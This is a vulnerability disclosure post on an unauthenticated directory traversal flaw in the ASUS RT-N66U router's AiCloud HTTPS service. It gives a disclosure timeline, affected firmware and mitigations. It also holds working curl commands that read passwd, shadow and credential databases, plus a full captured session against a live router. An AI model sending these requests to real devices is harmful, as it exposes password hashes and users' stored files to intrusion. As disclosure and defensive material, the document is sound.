ASUS RT-N66U Directory Traversal

`Vulnerable product: ASUS RT-N66U when HTTPS WebService via AiCloud is enabled  
(AC66R and RT-N65U are effected as well, but need more testing)  
  
Vulnerabilities:  
- Linux 2.6.22 - Researched on both 3.0.0.4.270 and 3.0.0.4.354 firmware  
- Full directory traversal and plain text disclosure of all sensitive  
files, including /passwd and /shadow  
- Full access to webdav.db and smbdav.db  
- Ability to traverse to any external storage plugged in through the  
USB ports on the back of the router  
  
Not fully confirmed but seen in several tests and are probable:  
- Uploading of malicious java script into the Smart sync folder, which  
is then sent to the host when they preform their scheduled sync  
- Ability to often alter iptables, dns, firewall settings and many  
other configurations without authentication  
  
Likely but need additional testing: (needed to list this because the  
potential for an attacker to gain a pptp tunnel to an extremely large  
numbers of routers, is quite possible and extremely dangerous)  
- Ability to change or alter configuration files normally only changed  
through the GUI web admin console  
- Ability to enable VPN service with pptp (Needs far more testing)  
- Suppress logging through disabling a configuration switch  
  
Timeline:  
- Contacted Asus two weeks ago (under my online handle account) around 06/06  
- Second email send on 06/10 when discovered first un-authenticated  
file disclosure  
- Received only one response back stating it was not an issue  
- Sent a third email on 06/14  
- Only response received was an acknowledgement that my email was received  
- Attempted to call their development or incident team, and was told  
that someone would call me back on 06/17  
- Sending another email today under my real name  
  
The vulnerability is that on many, if not on almost all N66U units  
that have enabled https web service access via the AiCloud feature,  
are vulnerable to un-authenticated directory traversal and full  
sensitive file disclosure. Any of the AiCloud options "Cloud Disk"  
"Smart Access" and "Smart Sync"(need another verification on this one)  
appear to enable this vulnerability.  
  
When AiCloud is enabled, web access is defaulted to port 443 and  
content streaming to http port 8082. Depending on numerous  
configuration factors and which firmware version that is used, the  
directory structure, and what files are disclosed when bypassing  
authentication varies. Both ports will disclose the information, port  
8082 being of the most concern since, for now, the web access via  
mini_httpd port 80, is not as vulnerable to directory traversal. More  
urgent testing needs to be done here. HTTPS uses lighttpd v 1.429.  
  
The UPnP bug concerning the exposed "hidden" $root samba share, which  
allows simple wget commands to grab 4 sensitive XML's is already well  
known. http://seclists.org/fulldisclosure/2013/Mar/126 The $root share  
is part of the problem, however, UPnP does not need to be enabled for  
the vulnerability to be active. Using basic cURL commands, all  
sensitive information can be obtained given the right directory path.  
Credit for finding this bug, or at least I think it was them, are the  
folks at http://www.websecuritywatch.com/ I'm sure he will confirm the  
difficulty in dealing with ASUS.  
  
ex:  
(-v is helpful to see that SSL allows bypass of authentication, even  
when it recognized a bogus cert is being used)  
  
-e is optional, but on a few settings, putting it to 192.168.1.1  
allows for bypass  
  
--cacert any fake .pem file to 192.168.1.1 will work, and often this  
marker is optional  
  
cURL -v https://<IP>/smb/tmp/lighttpd.conf -k -L --cacert fake.pem -e  
http://192.168.1.1  
  
Once I found this conf file, along with parsing the DOM bindings using  
firebug on the HTTPS AiCloud login page, I was able to piece together  
the directory structure. It is important enough to post here.  
  
root@Qanan:~# curl https://208.xxx.xx.xxx/smb/tmp/lighttpd.conf -k -L  
--cacert ASUS.pem  
* About to connect() to 208.xxx.xx.xxx port 443 (#0)  
* Trying 208.xxx.xx.xxx...  
* connected  
* Connected to 208.xxx.xx.xxx (208.xxx.xx.xxx) port 443 (#0)  
* successfully set certificate verify locations:  
* CAfile: ASUS.pem  
CApath: /etc/ssl/certs  
* SSLv3, TLS handshake, Client hello (1):  
* SSLv3, TLS handshake, Server hello (2):  
* SSLv3, TLS handshake, CERT (11):  
* SSLv3, TLS handshake, Server key exchange (12):  
* SSLv3, TLS handshake, Server finished (14):  
* SSLv3, TLS handshake, Client key exchange (16):  
* SSLv3, TLS change cipher, Client hello (1):  
* SSLv3, TLS handshake, Finished (20):  
* SSLv3, TLS change cipher, Client hello (1):  
* SSLv3, TLS handshake, Finished (20):  
* SSL connection using ECDHE-RSA-AES256-SHA  
* Server certificate:  
* subject: C=US; CN=192.168.1.1  
* start date: 2009-12-31 04:48:00 GMT  
* expire date: 2020-01-01 16:48:00 GMT  
* common name: 192.168.1.1 (does not match '208.xxx.xx.xxx')  
* issuer: C=US; CN=192.168.1.1  
* SSL certificate verify result: self signed certificate (18),  
continuing anyway.  
> GET /smb/tmp/lighttpd.conf HTTP/1.1  
> User-Agent: curl/7.26.0  
> Host: 208.xxx.xx.xxx  
> Accept: */*  
>  
* additional stuff not fine transfer.c:1037: 0 0  
* HTTP 1.1 or later with persistent connection, pipelining supported  
< HTTP/1.1 200 OK  
< Set-Cookie: TRACKID=1897c94fe988c0d5286365535b523218; Path=/; Version=1  
< Content-Type: application/x-octet-stream  
< Accept-Ranges: bytes  
< ETag: "2224271715"  
< Last-Modified: Sat, 01 Jan 2011 00:00:14 GMT  
< Content-Length: 3473  
< Date: Wed, 19 Jun 2013 22:49:32 GMT  
< Server: lighttpd/1.4.29  
< DDNS: xxxxxxx.asuscomm.com  
<  
server.modules+=("mod_alias")  
server.modules+=("mod_userdir")  
server.modules+=("mod_aidisk_access")  
server.modules+=("mod_sharelink")  
server.modules+=("mod_create_captcha_image")  
server.modules+=("mod_webdav")  
server.modules+=("mod_smbdav")  
server.modules+=("mod_redirect")  
server.modules+=("mod_compress")  
server.modules+=("mod_usertrack")  
server.modules+=("mod_rewrite")  
server.modules+=("mod_access")  
server.modules+=("mod_auth")  
server.port=8082  
server.document-root="/tmp/lighttpd/www"  
server.upload-dirs=("/tmp/lighttpd/uploads")  
server.errorlog="/tmp/lighttpd/err.log"  
server.pid-file="/tmp/lighttpd/lighttpd.pid"  
server.arpping-interface="br0"  
server.errorfile-prefix="/usr/css/status-"  
dir-listing.activate="enable"  
server.syslog="/tmp/lighttpd/syslog.log"  
mimetype.assign = (  
".html" => "text/html",  
".htm" => "text/html",  
".css" => "text/css",  
".js" => "text/javascript",  
".swf" => "application/x-shockwave-flash",  
"" => "application/x-octet-stream")  
index-file.names = ( "index.php", "index.html",  
"index.htm", "default.htm",  
" index.lighttpd.html" )  
url.access-deny = ( "~", ".inc" )  
static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )  
compress.cache-dir = "/tmp/lighttpd/compress/"  
compress.filetype = ( "application/x-javascript",  
"text/css", "text/html", "text/plain" )  
$SERVER["socket"]==":8082"{  
$HTTP["url"]=~"^/RT-N66U($|/)"{  
server.document-root = "/"  
alias.url=("/RT-N66U"=>"/mnt")  
webdav.activate="enable"  
webdav.is-readonly="disable"  
webdav.sqlite-db-name="/tmp/lighttpd/webdav.db"  
}  
else $HTTP["url"]=~"^/smb($|/)"{  
server.document-root = "/"  
alias.url=("/smb"=>"/usr")  
smbdav.auth_ntlm = ("Microsoft-WebDAV","xxBitKinex","WebDrive")  
webdav.activate="enable"  
webdav.is-readonly="disable"  
}  
else $HTTP["url"] =~ "^/favicon.ico$"{  
server.document-root = "/"  
alias.url = ( "/favicon.ico" => "/usr/css/favicon.ico" )  
webdav.activate = "enable"  
webdav.is-readonly = "enable"  
}  
else $HTTP["url"] !~ "^/smb($|/)" {  
server.document-root = "smb://"  
smbdav.activate = "enable"  
smbdav.is-readonly = "disable"  
smbdav.always-auth = "enable"  
smbdav.sqlite-db-name = "/tmp/lighttpd/smbdav.db"  
usertrack.cookie-name = "SMBSESSID"  
}  
}  
$SERVER["socket"]==":443"{  
ssl.pemfile="/tmp/lighttpd/server.pem"  
ssl.engine="enable"  
$HTTP["url"]=~"^/RT-N66U($|/)"{  
server.document-root = "/"  
alias.url=("/RT-N66U"=>"/mnt")  
webdav.activate="enable"  
webdav.is-readonly="disable"  
webdav.sqlite-db-name="/tmp/lighttpd/webdav.db"  
}  
else $HTTP["url"]=~"^/smb($|/)"{  
server.document-root = "/"  
alias.url=("/smb"=>"/usr")  
smbdav.auth_ntlm = ("Microsoft-WebDAV","xxBitKinex","WebDrive")  
webdav.activate="enable"  
webdav.is-readonly="disable"  
}  
else $HTTP["url"] =~ "^/favicon.ico$"{  
server.document-root = "/"  
alias.url = ( "/favicon.ico" => "/usr/css/favicon.ico" )  
webdav.activate = "enable"  
webdav.is-readonly = "enable"  
}  
else $HTTP["url"] !~ "^/smb($|/)" {  
server.document-root = "smb://"  
smbdav.activate = "enable"  
smbdav.is-readonly = "disable"  
smbdav.always-auth = "enable"  
smbdav.sqlite-db-name = "/tmp/lighttpd/smbdav.db"  
usertrack.cookie-name = "SMBSESSID"  
}  
}  
debug.log-request-header="disable"  
debug.log-response-header="disable"  
debug.log-request-handling="disable"  
debug.log-file-not-found="disable"  
debug.log-condition-handling="disable"  
* Connection #0 to host 208.xxx.xx.xxx left intact  
* Closing connection #0  
* SSLv3, TLS alert, Client hello (1):  
  
Right now, <IP>/smb/ are the gateway to all the directories discovered  
to date. However, it doesn't appear that Samba itself needs to be  
active for this vulnerability to be enabled. More importantly are the  
other "hidden" shares, namely $dir. As you can see above, this file  
disclosure gives most attackers what they need in terms of directory  
structure information.  
  
Though it very important to note that the following are dependent on  
configuration and firmware, and can be found in different directories  
or may have different file names. Additional cURL command lines that  
expel extremely sensitive information: (Port 8082 http output needs  
more testing)  
  
curl -v https://<IP>/smb/sbin/sysinfo -k -L  
curl -v https://<IP>/smb/tmp/etc/passwd -k -L  
curl -v https://<IP>/smb/tmp/etc/shadow -k -L  
curl -v https://<IP>/smb/tmp/opt/etc/asus_lighttpdpassword -k -L (in some cases)  
  
These two, when parsed to the different uhref's listed offer a huge  
array of directory choices. i.e. /etc /bin /var /opt Sometimes the  
output it verbose, sometimes not. On some configs, $root and $dir are  
dead ends, and the information can be found only through /smb/tmp/.  
  
curl -v https://<IP>/smb/tmp/$dir/ -k -L  
curl -v https://<IP>/smb/tmp/$root/ -k -L  
  
These databases can usually be snagged via wget:  
  
/tmp/lighttpd/webdav.db  
/tmp/lighttpd/smbdav.db  
  
  
Interesting and needs further investigation:  
  
- In many cases, an attacker could easily just use a simple web  
browser and point to https://<IP>/smb/bin and gain full access by only  
having to accept the untrusted cert.  
  
-SQLite3 injections when placed in many of the various boxes in the  
console itself seems to be accepted without an error. Have not tested  
malicious injections nor database alterations. XSS basic alert  
commands when encoded didn't seem to cause many issues either, but  
needs far more testing.  
  
-FTP and how it's directory structure, usually seen appended  
href="/foo/../", interacts with Samba services. I also noticed an  
extremely high number of public FTP sites with anonymous access,  
opening up whatever is plugged into the router. There very well might  
be a bug that cause the FTP service to start without the knowledge of  
the end user. (Not proven, only speculation, but hard to fathom 15K+  
people willingly putting their backup external hard drives out for the  
public.  
  
-DDNS has several potential flaws that need to be examined. One odd  
thing is if end users do not choose a *.asuscomm.com DDNS, they still  
have a hidden one, which is an MD5 hash. I think, from my testing,  
that the web admin console port 80 might be vulnerable to directory  
traversal through this feature. (Speculation, not proven)  
  
-UPnP remote commands to change services  
  
- Self signed certs are worthless, and I'm not sure why a better  
solution wasn't put in place if they were going to authenticate to  
asuscomm services.  
  
- Effect  
Right now, from what I can see from other surveys, more than 40,000  
routers could be at potential risk. If proven that web admin access or  
remote command alterations can be gained through the HTTPS  
vulnerability, then I feel this could be a highly dangerous problem  
because of the VPN service. If http port 80 web admin console is found  
vulnerable, without HTTPS AiCloud being active, the number of routers  
effected goes upwards of 100k+.  
  
I believe that the FTP access is already being exploited, and feel  
confident that others have most likely found this directory traversal  
bug as well.  
  
Mitigation and temporary fixes:  
  
- Users need to be alerted to turn off AiCloud service immediately  
- All Web access to both the http and https need to be halted until proven safe  
- UPnP services need to be turned off (I'd say that a safe bet is for  
all home routers to turn it off)  
- Disable FTP and Samba services until the problem is fully  
understood/patched if possible  
- Enable the built in firewall, change authentication to be MD5 hashed  
- CHANGE THE DEFAULT USERNAME AND PASSWORD!!!!  
- End Users should try to avoid using the default gateway of  
192.168.1.1 and pick something unusual  
- Turn off IPSEC, PPTP and the other NAT passthroughs if the VPN is  
not explicitly being utilized  
- Upgrade to third party firmware, which appears from a few reports to  
be immune to some extent (not proven or tested)  
  
I was hesitant about posting so much information on this matter, but  
felt that if this vulnerability is proven by others as true, the  
dangers with the VPN are not negligible. Having access to people's  
backup of their smart phones and C: drives is beyond troubling. I hope  
I am wrong, and this is just a big mistake. Any questions, fire away.  
  
Thanks, Kyle  
`